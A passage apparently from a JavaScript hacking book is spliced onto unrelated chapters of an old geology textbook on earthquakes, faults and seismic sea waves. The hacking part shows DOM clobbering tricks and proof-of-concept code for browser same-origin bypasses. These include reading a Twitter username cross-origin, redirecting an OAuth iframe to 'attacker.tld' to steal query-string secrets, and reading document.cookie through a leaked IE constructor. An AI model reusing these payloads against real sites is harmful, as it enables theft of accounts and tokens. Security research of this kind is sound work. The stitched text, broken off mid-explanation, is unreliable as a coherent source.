the same id in most circumstances the first element is returned by getElementById(). However, I
discovered if you use a <html> or <body> element you can change the order of the DOM and those
elements will merge the attributes of the duplicate tags which causes getElementById() to return the
<html> or <body> tag depending on which one you use:

1 <div id="x"></div>
2 <body id="x">
3 <script>
4 alert(document.getElementById('x'))
5 </script>

This can be exploited when a site is protected by CSP and you have a HTML injection that occurs
after all the elements you wish to exploit. Using this technique you can clobber existing nodes and
change the results of getElementById() to use your element and possibly gain XSS depending on
what the site does. I found this technique whilst testing a well known large site and they where
using a div element that was invisible at the start of the DOM tree near the body tag and they were
using this to control a CDN domain that was later used in a service worker script that then use an
importScript() call inside the service worker.

Clobbering document.querySelector()
The same technique can be used to clobber the results of document.querySelector(), if a site uses it
to find the first element with a certain class name then the DOM will be reordered and the injected
<html> or <body> element will be return instead:

1 <div class="x"></div>
2 <body class="x">
3 <script>
4 alert(document.querySelector('.x'))
5 </script>

Summary
We covered all sorts of interesting things in this chapter. First we found different ways of getting
the window object from a DOM node. Then we looked at the scoping of DOM events and how each
event has access to not only the element scope but also document scope. We finished off with a
section on DOM clobbering and explained the various possible attacks and we learned how difficult
it is to write a filter that traverses the DOM safely.
Chapter five - Browser exploits
Introduction
We can’t have a book on JavaScript hacking without a chapter on browser exploits right? In this
chapter I’ll discuss the various browser exploits I’ve found over the years. I’ve been hacking browsers
(mostly in my spare time) for over 15 years. In that time I’ve managed to find a SOP (same origin
policy) bypass or infoleak in every major browser engine.
Browser hacking is a very niche area of research but it is super fun and you will learn a tremendous
amount that you can use in other areas. This section won’t be in chronological order when I found
the bug but instead I’ll start with the simple bugs and lead up to the more complicated SOP bypasses.

Firefox incorrect handling of cross origin URLs


This bug was super simple and I was surprised that Mozilla’s automated tests didn’t catch it. I found
this one when I was testing cross origin windows. I was creating new windows and inspecting cross
origin objects by looking at the browser console or the Hackvertor inspector. The idea was to get a
reference to a new window after calling “window.open” and inspecting that object and see if any
data was leaking that shouldn’t.
When you call window.open it’s return value is the new window object, this is different from the
normal window object that you are used to. A lot of properties are unavailable and throw exceptions
when you try to read them. The reasons for this are clear: if you opened a window to a different
origin and the window object allowed you to read all the properties then you could steal data from
any website that could result in every account you own being compromised.
The exploit was embarrassingly simple, you opened a new window, waited five seconds and
attempted to read the location object. Normally an exception would be thrown but on Firefox they
allowed you to read it. When I first found the bug I thought it was one of the RegExp methods that
was the problem but it turned out that you could just read the toString() method of the location
object:
Chapter five - Browser exploits 38

1 <script>
2 function poc() {
3 var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=\
4 200');
5 setTimeout(function(){
6 alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
7 }, 5000);
8 }
9 </script>
10 <input type=button value="Firefox knows" onclick="poc()">

The above proof of concept opened a new window to twitter.com/lists this caused a redirection to a
personalised URL. The second waited 5 seconds then attempted to read the location object and used
a regex to get the twitter username. Then it would show an alert box and identify you.
Original write up*

Safari assignments to cross origin hostnames


Back in the day hacking browsers was much easier. This Safari bug demonstrates this. It involves
setting the hostname of a cross origin location object. The problem with that is Safari retained the
query string and hash which is really bad for security since it might contain sensitive information.
If this bug was found today then the most likely target would be OAuth tokens. To exploit this bug
you had to use a new window or iframe, wait for it to load and then set the hostname and then the
attacker’s domain could read the query parameters or hash.

1 <script>
2 function poc(iframe) {
3 var win = iframe.contentWindow;
4 setTimeout(function(){
5 win.location.hostname='attacker.tld'
6 } , 5000);
7 }
8 </script>
9 <iframe src="https://oauth.example.com" onload=poc(this)></iframe>

The above example code loads an iframe that would then perform some sort of authentication and
store some sensitive data in the query string. When the page is loaded after redirection on the
target site the poc() function is called which gets a reference to the iframe and then the content
window that refers to the cross origin window of the iframe. Then after five seconds, the attacker
changes the hostname of the iframe to point to the attacker’s domain. The attacker then simply reads
location.search on their domain to steal the secrets.
*http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-your-friends-did-last-summer/
Chapter five - Browser exploits 39

1 <script>
2 var contents = location.search//contains the query string secrets
3 </script>

You can no longer do this in modern browsers; they sensibly prevent read/write access to the host
and hostname properties.

Internet Explorer full SOP bypass


I found this bug whilst contracting for Microsoft testing various IE features. I love this bug because
it’s so simple yet the impact is great. Using this bug you could execute arbitrary JavaScript on any
domain. This involves windows and iframes again shock horror. Are you sensing a theme here?
What happened was IE was leaking a cross origin constructor. What that means is the Function
constructor was allowed to be called from a different domain.
A good question to ask here is how do you know? It’s very difficult to know for sure you’re injecting
in a different context because the browser doesn’t provide an API for that so the best you can do is
try accessing a property of an object that will tell you the code is executing from a different domain.
One such property is document.domain.

1 foo.constructor.constructor('alert(document.domain)')();

Using the code above if the alert pops up and gives a different domain then this is a good indication
you’ve found a SOP bypass. However, this is not foolproof as you’ll find later in the chapter. I found
this bug whilst playing with iframes and the Hackvertor inspector. I simply loaded an iframe and
began to test each property. I’ve since written a better inspector which makes it easier to demonstrate
so we’ll use that. Here are the steps to test:

1. Visit Hackability*
2. Observe that there are some properties that are enumerable
3. Click each of the properties to traverse further
4. Attempt to access and call the constructor of each property using the method discussed
previously.

Using this method I found that IE was leaking a cross origin constructor on the closed property.
Because this value was a boolean, I had to use constructor twice, once to get the boolean constructor
and once to get the Function constructor to execute arbitrary code. The executed code had full access
to the cross origin window object meaning you could read the cookie and any other DOM property.
The full exploit looked like this:

*https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-
labs.net%20id=x%3E
Chapter five - Browser exploits 40

1 <iframe src="https://garethheyes.co.uk"
2 onload="this.contentWindow.closed.constructor.constructor('alert(document.cookie')()\
3 ">
4 </iframe>

This exploit wasn’t limited to frames, you could use new windows to conduct this attack.

Chrome partial SOP infoleak


I found this one pretty recently. At this point I already hacked every major browser engine so it was
nice to find one that worked in Chrome. This bug was buried for around five years before I found
it. The bug relates to how Chrome handles document.baseURI when using nested iframes from
different subdomains. When accessing this property from a nested iframe the baseURI is reported
from the parent, this isn’t a big deal usually because the document object is inaccessible from cross
origin windows hence why it was buried from so long. However, it was possible to gain this property
which resulted in disclosing the entire URL of a cross site iframe.
This time I was using the Hackability inspector to find this bug. I was experimenting with window
name vectors. In case you don’t know you can set a window name and retrieve it from a different
domain after the navigation. Browsers are trying to lock this down to prevent information disclosure
but the mitigations in place don’t apply to iframes.
I loaded up the Hackability inspector and added an iframe to the DOM and pointed it to a different
subdomain that also loaded the Hackability inspector. I could then use both consoles to test if cross
origin windows were correctly secured. In the cross origin iframe I added another iframe inside
it. I then attempted to read/assign to the name property on the cross origin iframes. The browser
just threw exceptions which was obviously no good, I remembered you can assign a different URL
to a cross origin iframe and the ownership of the frame changes to the origin which caused the
assignment.
I changed the URL of the nested iframe to about:blank and to my surprise I could read/write the
window name. This isn’t a vulnerability on its own but it’s a component that can be used to maybe
get a more serious bug. It’s good to look out for those.
Then I began enumerating the nested iframe’s cross origin window object. Nothing in the window
object seemed to be useful but I remembered that the document object contains information about
the URL so I began enumerating that. To my surprise the document.baseURI property was showing
the incorrect URL, instead of returning the about:blank URL it was returning its parent. This is a SOP
infoleak since different origins shouldn’t be allowed to read properties like this. At first I thought
the bug enabled you to read any domain but this wasn’t the case. You could read data from different
subdomains only. This is still a serious bug since you might have an attachments subdomain on an
email client for example and you want to prevent it from reading a different subdomain.
The baseURI property actually returns the full URL so you could have read the query string and
hash of a different subdomain. The code for the initial page was:
Discovering Diverse Content Through
Random Scribd Documents
Fig. 51.—Bowlders thrown into the air and overturned during
the Assam earthquake of 1897 (after R. D. Oldham).

Seaquakes and seismic sea


waves.—Upon the ocean the
quakes which emanate from the sea
floor are felt on shipboard as
sudden joltings which produce the Fig. 52.—Heavy post sunk
impression that the ship has struck deeper into the ground
during the Charleston
upon a shoal, though in most earthquake of August 31,
instances there is no visible 1886 (after Dutton).
commotion in the water. The
distribution of these shocks, as indicated either by the experiences
of neighboring ships at the time of a particular shock, or by the
records of vessels which at different times have sailed over an area
of frequent seismic disturbance, appears to be limited to narrow
zones or lines (Fig. 53). The same tendency of under-sea
disturbances to be localized upon definite straight lines has been
often illustrated by the behavior of deep-sea cables which are laid in
proximity to one another and which have been known to part
simultaneously at points ranged upon a straight line.
Far grander disturbances upon the floor of the ocean have been
revealed by the great sea waves—the so-called “tidal waves”,
properly referred to as tsunamis
—which recur in those sea
districts which adjoin the special
earthquake zones upon the
continents (p. 86). The
forerunner of such a sea wave
approaching the shore is usually
a sudden withdrawal of the
water so as to lay bare a
Fig. 53.—Map showing the localities portion of the bottom, but this
at which shocks have been is well-recognized to be the
reported at sea off Cape premonition of a gigantic
Mendocino, California.
oncoming wave which sweeps
all before it and is only halted when it has rolled over all the low-
lying country and encountered a mountain wall. Such seismic waves
have been especially common upon the Pacific shore of South
America and upon the Japanese littoral (Fig. 54). These waves
proceed from above the great deeps upon the ocean bottom, and
clearly result from the grander earth movements to which these
depressions owe their exceptional depth. The withdrawal of the
water from neighboring shores may be presumed to be connected
with a descent of the floor of the depression and the consequent
drawing-in of the ocean surface above. The later high wave would
thus represent the dispersion of the mountain of water which is
raised by the meeting of the waters from the different sides of the
depression.
Fig. 54.—Effect of a seismic water wave at Kamaishi, Japan, in
1896 (after E. R. Scidmore).

The grander and the lesser


earth movements.—Upon the land
the grander and so-called catastrophic
earthquakes are usually the
accompaniment of important changes
in the surface of the ground that will
be discussed in later sections. Those
shocks which do little damage to Fig. 55.—A fault of vertical
structures produce no visible changes displacement.
in the earth’s surface, except, it may
be, to shake down some water-soaked masses of earth upon the
steeper slopes. Still other movements, and these too slight to be felt
even in the night when the animal world is at rest, may yet be
distinguished by their sounds, the unmistakable rumblings which are
characteristic alike of the heaviest and the lightest of earthquake
shocks.
Changes in the earth’s surface
during earthquakes—faults and
fissures.—Each of the grander
among historic earthquakes has been
accompanied by noteworthy changes
in the configuration of the earth’s
surface within the district where the
Fig. 56.—Escarpment produced shocks were most intense. A section
by an earthquake fault of of the ground is usually found to
vertical displacement which
cut across the Chedrang
have moved with reference to
River and thus produced a another upon the other side of a
waterfall, Assam earthquake vertical plane which is usually to be
of 1897 (after R. D. seen; we have here to do with the
Oldham). actual making of a fault or
displacement such as we find the fossil examples of within the rocks.
The displacement, or throw, upon the fault plane may be either
upward or downward or laterally in one direction or the other, or
these movements may be combined. A movement of adjacent
sections of the ground upward or downward with reference to each
other (Fig. 55) has been often observed, notably at Midori after the
great Japanese earthquake of 1891, and in the Chedrang valley of
Assam after the earthquake of 1897 (Fig. 56).

Fig. 57.—A fault of lateral Fig. 58.—Fence parted and


displacement. displaced fifteen feet by a
transverse fault formed
during the California
A lateral throw, unaccompanied earthquake of 1906 (after
by appreciable vertical displacement W. B. Scott).
(Fig. 57), is especially well
illustrated by the fault in California which was formed during the
earthquake of 1906 (Fig. 58). A combination of the two types of
displacement in one (Fig. 59) is exemplified by the Baishiko fault of
Formosa at the place shown in plate 3 A.
The measure of displacement.—To afford some measure of
the displacements which have been observed upon earthquake
faults, it may be stated that the maximum vertical throw measured
upon the fault in the Neo valley of Japan (1891) was 18 feet, in the
Chedrang valley of Assam (1897) 35
feet, and of the Alaskan coast
(1899) 47 feet. Large sections of
land were bodily uplifted in these
cases within the space of a few
seconds, or at most a few minutes,
by the amounts given. The largest
recorded lateral displacement
measured upon an earthquake fault
is about 21 feet upon the California
rift after the earthquake of 1906; Fig. 59.—Fault with vertical
though an amount only slightly less and lateral displacements
combined.
than this is indicated in the shifting
of roads and arroyas dating from the earthquake of 1872 in the
Owens valley, California. Fault lines once established are planes of
special weakness and become later the seat of repeated movements
of the same kind.

Plate 3.
A. An earthquake fault opened in Formosa in 1906, with
vertical and lateral displacements combined (after Omori).

B. Earthquake faults opened in Alaska in 1889, on which


vertical slices of the earth’s shell have undergone individual
adjustments (after Tarr and Martin).

The greater number of earthquake faults are found in the loose


rock cover which so generally mantles the firmer rock basement, and
it is almost certain that the
throws within the solid rock
are considerably larger than
those which are here
measured at the surface,
owing to the adjustments
which so readily take place in
the looser materials. Those
lighter shocks of earthquake
which are accompanied by no
visible displacements at the
surface do, however, in some
instances affect in a measure
the flow of water upon the Fig. 60.—Diagram to show how
surface, and thus indicate that small faults in the rock basement
may be masked at the surface
small changes of surface level through adjustments within the
have occurred without breaks loose rock mantle.
sufficiently sharp to be
perceived (Fig. 60). Intermediate between the steep escarpment and
the masked displacement just described is the so-called “mole-hill”
effect,—a rounded and variously cracked slope or ridge above the
position of a buried fault (Fig. 61).
The escarpments due to
earthquake faults in loose
materials at the earth’s surface
can obviously retain their
steepness for a few years or
decades at the most; for
because of their verticality they
must gradually disappear in
rounded slopes under the action
of the elements. Smaller
displacements within a rock
Fig. 61.—Diagram to show the
appearance of a “mole hill” above which rapidly disintegrates
under the action of frost and
a buried earthquake fault (after sun will likewise before long be
Kotô). effaced. In those exceptional
instances where a resistant rock type has had all altered upper
layers planed away until a fresh and hard surface is exposed, and
has further been protected from the frost and sun beneath a thin
layer of soil, its original surface may be retained unaltered for many
centuries. Upon such a surface the lightest of sensible shocks, or
even the smaller earth movements which are not perceived at the
time, may leave an almost indelible record. Such records particularly
show that the movements which they register occur upon the planes
of jointing within the rock, and that these ready formed cracks have
probably been the seats of repeated and cumulative adjustments
(Fig. 62).

Contraction of the earth’s


surface during earthquakes.—
The wide variations in the amount
of the lateral displacement upon
earthquake faults, like those
opened in California in 1906, show
Fig. 62.—Post-glacial earthquake
that at the time of a heavy
faults of small but cumulative
displacement, eastern New earthquake there must be large
York (after Woodworth). local changes in the density of the
surface materials. Literally,
thousands of fissures may appear in the lowlands, many of them no
doubt a secondary effect of the shaking, but others, like the
quebradas of the southern Andes or the “earthquake cracks” in the
Colorado desert (Fig. 63), may have a deeper-seated origin. Many
facts go to show, however, that though local expansion does occur in
some localities, a surface contraction is a far more general
consequence of earth movement. In civilized countries of high
industrial development, where lines of metal of one kind or another
run for long distances beneath or upon the surface of the ground,
such general contraction of the surface may be easily proven.
Comparatively seldom are lines of metal pulled apart in such a way
as to show an expansion of the
surface; whereas bucklings and
kinkings of the lines appear in
many places to prove that the
area within which they are found
has, as a whole, been reduced.

Fig. 63.—Earthquake cracks in


Colorado desert (after a
photograph by Sauerven).

Fig. 64.—Diagrams to show how railway tracks are either


broken or buckled locally within the district visited by an
earthquake.

Fig. 65.—The Biwajima railroad bridge in Japan after the


earthquake of 1891 (after Milne and Burton).
Water pipes laid in the
ground at a depth of some feet
may be bowed up into an arch
which appears above the
surface; lines of curbing are
Fig. 66.—Diagrams to show how the
compression of a district and its raised into broken arches, and
consequent contraction during an the tracks of railways are
earthquake may close up the joint thrown into local loops and
spaces within the rock basement kinks which imply a very
and concentrate the contraction of
considerable local contraction of
the overlying mantle where this is
partially cut through and so the surface (Fig. 64). With
weakened in the valley sections. unvarying regularity railway or
other bridges which cross rivers
or ravines, if the structures are seriously damaged, indicate that the
river banks have drawn nearer together at the time of the
disturbance. In such cases, whenever the bridge girder has
remained in place upon its abutments, these have either been
broken or back-tilted as a whole in such a manner as to indicate an
approach of the foundations which was prevented at the top by the
stiffness of the girder (Fig. 65).

Fig. 67.—Map of the Chedrang fault which made its appearance


during the Assam earthquake of 1897. The figures give the
amounts of the local vertical displacement measured in feet
(after R. D. Oldham).

The simplest explanation of such an approach of the banks at the


sides of the valleys cut in loose surface material is to be found in a
general closing up of the joint spaces within the underlying rock, and
an adjustment of the mantle upon the floor mainly in the valley
sections (Fig. 66).
The plan of an earthquake
fault.—In our consideration of
earthquake faults we have thus far
given our attention to the
displacement as viewed at a single
locality only. Such displacements
are, however, continued for many
miles, and sometimes for hundreds
of miles; and when now we
examine a map or plan of such a
line of faulting, new facts of large
significance make their appearance.
This may be well illustrated by a
study of the plan of the Chedrang
fault which appeared at the time of
the Assam earthquake of 1897 (Fig.
67). From this map it will be noticed
that the upward or downward
displacement upon the
perpendicular plane of the fault is
not uniform, but is subject to large
and sudden changes. Thus in order
the measurements in feet are 32, 0, Fig. 68.—Map giving the
18, 35, 0, 8, 25, 12, 8, 2, 0. The displacements in feet
fault formed in 1899 upon the measured along an
shores of Russell Fjord in Alaska earthquake fault formed in
Alaska in 1899 (after Tarr
(Fig. 68) reveals similar sudden
and Martin).
changes of throw, only that here
the direction of the movement is often reversed; or, otherwise
expressed, the upthrow is suddenly transferred from one side of the
fault to the other. Such abrupt changes in the direction of the
displacement have been observed upon many earthquake faults, and
a particularly striking one is represented in Fig. 69.
The block movements of the disturbed district.—The
displacements upon earthquake faults are thus seen to be
subdivided into sections, each of
which differs from its neighbors upon
either side and is sharply separated
from them, at least in many
instances. These points of abrupt
Fig. 69.—Abrupt change in the change of displacement are, in many
direction of throw upon an cases at least, the intersection points
earthquake fault which was with transverse faults (Fig. 69). Such
formed in the Owens valley, points of abrupt change in the degree
California, in 1872. The or in the direction of the
observer looks directly along
the course of the fault from displacement may be, when looked at
the left foreground to the from above, abrupt turning points in
cliff beyond and to the left the direction of extension of the fault,
of the impounded water whose course upon the map appears
(after a photograph by W. D. as a zigzag line made up of straight
Johnson).
sections connected by sharp elbows
(Fig. 70).
Such a grouping of surface faults as are represented upon the
map is evidence that the area of the earth’s shell, which is included,
has at the time of the earthquake been subject to adjustments as a
series of separate units or blocks, certain of the boundaries of which
are the fault lines represented. The changes in displacement
measured upon the larger faults make it clear that the observed
faults can represent but a fraction of the total number of lines of
displacement, the others being masked by variations in the
compactness of the loose mantling deposits. Could we but have this
mantle removed, we should doubtless find a rock floor separated
into parts like an ancient Pompeiian pavement, the individual blocks
in which have been thrown, some upward and some downward, by
varying amounts. Less than a hundred miles away to the eastward
from the Owens Valley, a portion of this pavement has been
uncovered in the extensive operations of the Tonapah Mining
District, so that there we may study in all its detail the elaborate
pattern of earth marquetry (Fig. 71) which for the floor of the
Owens valley is as yet denied us.
The earth blocks adjusted
during the Alaskan earthquake
of 1899.—For a study of the
adjustments which take place
between neighboring earth blocks
during a great earthquake, the
recent Alaskan disturbance has
offered the advantage that the
most affected district was upon
the seacoast, where changes of
level could be referred to the
datum of the sea’s surface. Here a
great island and large sections of
the neighboring shore underwent
movements both as a whole in
large blocks and in adjustments of
their subordinate parts among
themselves (Fig. 72). Some
sections of the coast were here
elevated by as much as 47 feet,
while neighboring sections were
uplifted by smaller amounts (Fig.
73), and certain smaller sections
were even dropped below the level
Fig. 70.—Map of the faults within
an area of the Owens valley, of the sea.
California, formed in part The amount of such subsidence
during the earthquake of 1872, is, however, difficult to ascertain,
and in part due to early
for the reason that the former
disturbances, In the western
portions the displacements cut shore features are now covered
across firm rock and alluvial with water and thus removed from
deposits alike without observation. In favorable localities
deviation of direction (after a the minimum amount of
map by W. D. Johnson).
submergence may sometimes be
measured upon forest trees which are now flooded with sea water.
In Fig. 74 a portion of the coast is represented where the beach
sand is now extended back
into the spruce forest, a
distance of a hundred feet or
more, and where sedgy beach
grass is growing among trees
whose roots are now laved in
salt water. At the front of this
forest the great storm waves
overturn the trees and pile the
wreckage in front of those
that still remain standing.

Upon the glaciated rock Fig. 71.—Marquetry of the rock floor


surfaces of the Alaskan coast, of the Tonapah Mining District,
Nevada (after Spurr).
ex
ce
pt
io
na
lly
fa
Fig. 73.—View on Haencke
vo Island, Disenchantment Bay,
ra Alaska, revealing the shore
bl that rose seventeen feet
e above the sea during the
earthquake of 1899, and
op
was found with barnacles
po still clinging to the rock
rt (after Tarr and Martin).
Fig. 72.—Map of a portion of the u
Alaskan coast to show the nities are found for study of the
adjustments in level during the intricate pattern of the earth
earthquake of 1899 (after Tarr mosaic which is under adjustment
and Martin). at the time of an earthquake.
Upon Gannett Nunatak the surface was found divided by parallel
faults into distinct slices which
individually underwent small
changes of level (plate 3 B).

Fig. 74.—Partially submerged


forest upon the shore of Knight
Island, Alaska, due to the
sinking of a section of the coast
during the earthquake of 1899
(after Tarr and Martin).

Fig. 75.—Settlement of a section


of the shore at Port Royal,
Jamaica, during the earthquake
of January 14, 1907, adjacent
to a similar but larger
settlement of the near shore
during the earthquake of 1692
(after a photograph by Brown).
CHAPTER VIII

THE INTERRUPTED CHARACTER OF EARTH


MOVEMENTS: EARTHQUAKES AND SEAQUAKES
(Concluded)

Experimental demonstration of earth movements.—The


study of the Alaskan earthquake of 1899 showed that during this
adjustment within the earth’s shell some of the local blocks moved
upward and by larger amounts than their neighbors, and that still
others were actually depressed so that the sea flowed over them. It
must be evident that such differential vertical movements of
neighboring blocks at the earth’s surface can only take place if
lateral transfers of material are made beneath it. From under those
strips of coast land which were depressed, material must have been
moved so as to fill the void which would otherwise have formed
beneath the sections that were uplifted. If we take into consideration
much larger fractions upon the surface of our planet, we are taught
by the great seaquakes which are now registered upon earthquake
instruments at distant stations that large downward movements are
to-day in progress beneath the sea much more than sufficient to
compensate all extensions of the earth’s surface within those
districts where the land is rising in mountains. From under the
offshore deeps of the ocean to beneath the growing mountains upon
the shore, a transfer of earth material must be assumed to take
place when disturbances are registered.
Within the time interval that separates the sudden adjustments
of the surface which are manifested in earthquakes, the condition of
strain which brings them about is steadily accumulating, due, as we
generally assume, to earth contraction through loss of its heat. It
seems probable that the resistance to an immediate adjustment is
found in the rigidity of the shell because of the compression to which
it is subjected. To illustrate: a row of blocks well fitted to each other
may be held firmly as a bridge between the jaws of a vice, because
so soon as each block starts to fall a large resistance from friction
upon its surface is called into existence, a force which increases with
the degree of compression.
It is thus possible upon this assumption crudely to demonstrate
the adjustment of earth blocks by the simple device represented in
plate 4 A. The construction of this experimental tank is so simple
that little explanation is necessary. Wooden blocks of different
heights are supported in water within a tank having a glass front,
and are kept in a strained condition at other than their natural
positions of flotation by the compression of a simple vice at the top.
Held firmly in this position, they may thus represent the neighboring
blocks within the earth’s outer shell which are supported upon
relatively yielding materials beneath, and prevented from at once
adjusting themselves to their natural positions through the
compression to which they are subjected. Held as they now are, the
water near the ends of the tank is forced up beneath the blocks to
higher than its natural level, and thus tends to flow from both ends
toward the center. Such a movement would permit the end blocks to
drop and force the middle ones to rise. The end blocks are, let us
say, the sections of Alaskan coast line which sunk during the
earthquake, as the center blocks are the sections which rose the full
measure of 47 feet. Upon a larger scale the end blocks may equally
well be considered as the floor of the great deeps off the Alaskan
coast, whose sinking at the time of the earthquake was the cause of
the great sea wave. Upon this assumption the center blocks would
represent the Alaskan coast regarded as a whole, which underwent
a general uplift.
Though we may not, in our experiment, vary the tendency to
adjustment by any contractional changes in either the water or the
blocks, we may reduce the compression of the vice, which leads to
the same general result. As the compression of the vice is slowly
relaxed, a point is at last reached at which friction upon the block
surfaces is no longer sufficient to prevent an adjustment taking
place, and this now suddenly occurs with the result shown in plate 4
B. In the case of the earth blocks, this sudden adjustment is
accompanied by mass movements of the ground separated by faults,
and these movements produce successional vibrations that are
particularly large near the block margins, and other frictional
vibrations of such small measure as to be generally appreciated by
sounds only. The jolt of the adjustments has thrown some blocks
beyond their natural position of rest, and these sink and rise
subsequently in order to readjust themselves with lighter vibrations,
which may be repeated and continued for some time. In the case of
the earth these later adjustments are the so-called aftershocks
which usually continue throughout a considerable period following
every great earthquake. Gradually they fall off in intensity and
frequency until they can no longer be felt, and are thereafter
continued for a time as rumblings only.

Plate 4.
A. Experimental tank to illustrate the earth movements which are
manifested in earthquakes. The sections of the earth’s shell are
here represented before adjustment has taken place.

B. The same apparatus after a sudden adjustment.

C. Model to illustrate a block displacement in rocks which are


intersected by master joints.

Derangement of water flow by earth movement.—The


water which supported the blocks in our experiment has represented
the more mobile portion of the earth’s substance beneath its outer
zone of fracture. The surface water layers in the tank may, however,
be considered in a different way, since their behavior is remarkably
like that of the water within and upon the earth’s surface during an
earth adjustment. At the instant when adjustment takes place in the
tank, water frequently spurts upward from the cracks between the
sinking end blocks; and if in place of one of the higher center blocks
we insert one whose top is below the level of the water in the tank,
a “lake” will be formed above it. When the adjustment occurs, this
lake is immediately drained by outflow of the water at its bottom
along one of the cracks between the blocks (Fig. 76).
Such derangements of
water flow as have been
illustrated by the experiment
are among the commonest of
the phenomena which
accompany earthquakes.
Lakes and swamp lands have
during earthquakes been
suddenly drained, fountains of
water have been seen to
shoot up from the surface and Fig. 76.—Diagrams to illustrate the
draining of lakes during
have played for some minutes
earthquakes.
or hours before their sudden
disappearance in a sucking down of the water with later
readjustment. During the great earthquake of the lower Mississippi
valley in 1811, known as the New Madrid earthquake, the earlier
Lake Eulalie was completely drained, and upon the now exposed bed
there appeared parallel fissures on which were ranged funnel-like
openings down which the water had been sucked. In other sections
of the affected region the water shot up in sheets along fissures to
the tops of high trees. Areas where such spurting up of the water
has been observed have in most cases been shown to correspond to
areas of depression, and such areas have sometimes been left
flooded with water. During the Indian earthquake of 1819 an area of
some 200 square miles suddenly sank and was transformed into a
lake.
Fig. 77.—Diagram to illustrate-the derangements of flow of water
at the time of an earthquake; water issuing at the surface over
downthrown rocks, and being sucked down in upthrown
blocks.

Fig. 78.—Mud cones aligned upon a fissure opened at Moraza,


Servia, during the earthquake of April 4, 1904 (after
Michailovitch).

Sand or mud cones and craterlets.—From a very moderate


depth below the surface to that of several miles, all pore spaces and
all larger openings within the rock are completely filled with water,
the “trunk lines” of whose circulation is by way of the joints or along
the bedding planes of the rocks. The principal reservoirs, so to
speak, of this water inclosed within the rock are the porous sand
formations. When, now, during an earthquake a block of the earth’s
shell is suddenly sunk and as suddenly arrested in its downward
movement, the effect is to compress the porous layers and so force
the contained water upward along the joints to the surface, carrying
with it large quantities of the sand (Fig. 77).
Fig. 79.—One of the many craterlets formed near Charleston,
South Carolina, during the earthquake of August 31, 1886. The
opening is twenty feet across, and the leaves about it are
encased in sand as were those upon the branches of the
overhanging trees to a height of some twenty feet (after
Dutton).

Ejected at the surface this


water appears in fountains
usually arranged in line over
joints, or even in continuous
sheets, and the sand collecting
about the jets builds up lines of
sand or mud cones sometimes
Fig. 80.—Cross section of a
described as “mud volcanoes”
craterlet to show the trumpet-like
(Fig. 78). The amount of sand form of the sand column.
thus poured out is sometimes so
great that blankets of quicksand are spread over large sections of
the country. Most frequently, however, the sand is not built above
the general level of the surface, but forms a series of craterlets
which are largely shaped as the water is sucked down at the time of
the readjustment with which the play of such earthquake fountains
is terminated (Fig. 79). Subsequent excavations made about such
craterlets have shown them to have the form of a trumpet, and that
in the sand which so largely fills them there are generally found
scales of mica and such light bodies as would be picked out from the
heterogeneous materials of the sand layers and carried upward in
the rush of water to the surface (Fig. 80).
The earth’s zones of heavy earthquake.—Since earthquakes
give notice of a change of level of the ground, the special danger
zones from this source are the growing mountain systems which are
usually found near the borders of the sea. Such lines of mountains
are to-day rising where for long periods in the past were the basins
of deposition of former seas. They thus represent the zones upon
the earth’s surface which are the most unstable—which in the recent
period have undergone the greatest changes of level.
By far the most unstable belt
upon the earth’s surface is the rim
surrounding the Pacific Ocean,
within which margin it has been
estimated that about 54 per cent of
the recorded shocks of earthquake
have occurred. Next in importance
for seismic instability is the zone
which borders both the
Mediterranean Sea and the Fig. 81.—Map of the island of
Caribbean—the American Ischia to show how the
Mediterranean—and is extended shocks of recent
across central Asia through the earthquakes have been
concentrated at the crossing
Himalayas into Malaysia. Both zones point of two fractures (after
approximate to great circles upon Mercalli and Johnston-
the earth’s surface and intersect Lavis).
each other at an angle of about
67°. It has been estimated that about 95 per cent of the recorded
continental earthquakes have emanated from these belts.
The special lines of heavy shock.—Within any earthquake
district the shocks are not felt with equal severity at all places, but
there are, on the contrary, definite lines which the disturbance
seems to search out for special damage. From their relations to the
relief of the land these lines would appear to be lines of fracture
upon the boundaries of those sections of the
crust that play individual rôles in the block
adjustment which takes place. More or less
masked as these lines are beneath the
rounded curves of the landscape, they are
given an altogether unenviable prominence
with each succeeding earthquake. At such
times we may think of the earth’s surface as
specially sensitized for laying bare its hidden
structure, as is the sensitized plate under the
magical influence of the X rays.
When, at the time of an earthquake,
blocks are adjusted with reference to their
neighbors, the movements of oscillation are
greatest in those marginal portions of direct
contact. Corners of blocks—the intersecting
Fig. 82.—A line of
points of the important faults—should for the
earth fracture same reason be shaken with a double
indicated in the plan violence, and this assumption appears to be
of the relief, which confirmed by observation. Upon the island of
may at any time Ischia, off the Bay of Naples, the shocks
become the seat of
movement and
from recent earthquakes have been strangely
resultant shock. concentrated near the town of Casamicciola,
which was last destroyed in 1883. This
unfortunate city lies at the crossing point of important fractures
whose course upon the island is marked by numerous springs and
suffioni (Fig. 81).
Seismotectonic lines.—The lines of important earth fractures,
as will be more clearly shown in the sequel (p. 227), are often
indicated with some clearness by straight lines in the plan of the
surface relief (Fig. 82). Lines of this nature are easily made out upon
the map of the West Indies, and if we represent upon it by circles of
different diameters the combined intensities of the recorded
earthquakes in the various cities, it appears that the heavily shaken
localities are ranged upon lines stamped out in the relief, with the
most severely damaged places at their intersections (Fig. 83). These
lines of exceptional instability are known as seismotectonic lines—
earthquake structure lines.

Fig. 83.—Seismotectonic lines of the West Indies.

The heavy shocks above loose foundations.—It is


characteristic of faults that they soon bury themselves from sight
under loose materials, and are thus made difficult of inspection. The
escarpment which is the direct consequence of a vertical
displacement upon a fault tends to migrate from the place of its
formation, rounding the surface as it does so and burying the fault
line beneath its deposits (Fig. 43, p. 60).
This is not, however, the sole reason why loose foundations
should be places of special danger at the time of earth shocks, for
the reason that earthquake waves are sent out in all directions from
the surfaces of displacement through the medium of the underlying
rock. These waves travel within the firm rock for considerable
distances with only a gradual dissipation of their energy, but with
their entry into the loose surface deposits their energy is quickly
used up in local vibrations of large amplitude, and hence destructive
to buildings.
The essential difference between
firm rock and such loose materials as
are found upon a river bottom or in
the “made land” about our cities may
be illustrated by the simple device
which is represented in Fig. 84. Two
similar metal pans are suspended
from a firm support by bands of steel
Fig. 84.—Device to illustrate and “elastic” braid of similar size and
the different effects upon shape, and carry each a small block
the transmission and the
character of shocks which
of wood standing upon its end.
are produced by firm rock Similar light blows are now
and by loose materials. administered directly to the pans with
the effect of upsetting that block
